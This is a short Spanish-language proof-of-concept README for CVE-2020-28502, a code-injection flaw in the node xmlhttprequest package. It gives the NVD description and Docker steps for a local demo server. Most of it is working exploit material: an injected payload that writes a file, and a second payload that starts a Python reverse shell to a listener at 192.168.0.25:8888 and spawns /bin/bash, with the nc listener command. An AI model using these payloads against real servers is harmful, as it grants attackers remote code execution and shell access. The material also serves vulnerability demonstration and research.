CVE-2020-28502 node-XMLHttpRequest RCE

Descripción de NVD

Esto afecta al paquete xmlhttprequest anterior a la versión 1.7.0; todas las versiones del paquete xmlhttprequest-ssl. Siempre que las solicitudes se envíen de forma síncrona (async=False en xhr.open), la entrada maliciosa del usuario que llega a xhr.send podría provocar que se inyecte y ejecute código arbitrario.

Demo

Configuración

1. Construir una imagen a partir de un Dockerfile

$ docker build -t cve-2020-28502 .

2. Ejecutar node app.js en un nuevo contenedor

$ docker run --rm -p 3000:3000 cve-2020-28502

3. Acceder a http://localhost:3000

Payload PoC

Añadir archivo

Enviar el payload

\');require("fs").writeFileSync("./exploit.txt", "exploit!");req.end();//

Shell inversa

1. Poner el cliente a la escucha

$ nc -l 8888

2. Enviar el payload

cambia la dirección IP (192.168.0.25) por tu dirección IP local

\');require("child_process").exec("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.25\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'");req.end();//

Referencia

• https://snyk.io/vuln/SNYK-JS-XMLHTTPREQUEST-1082935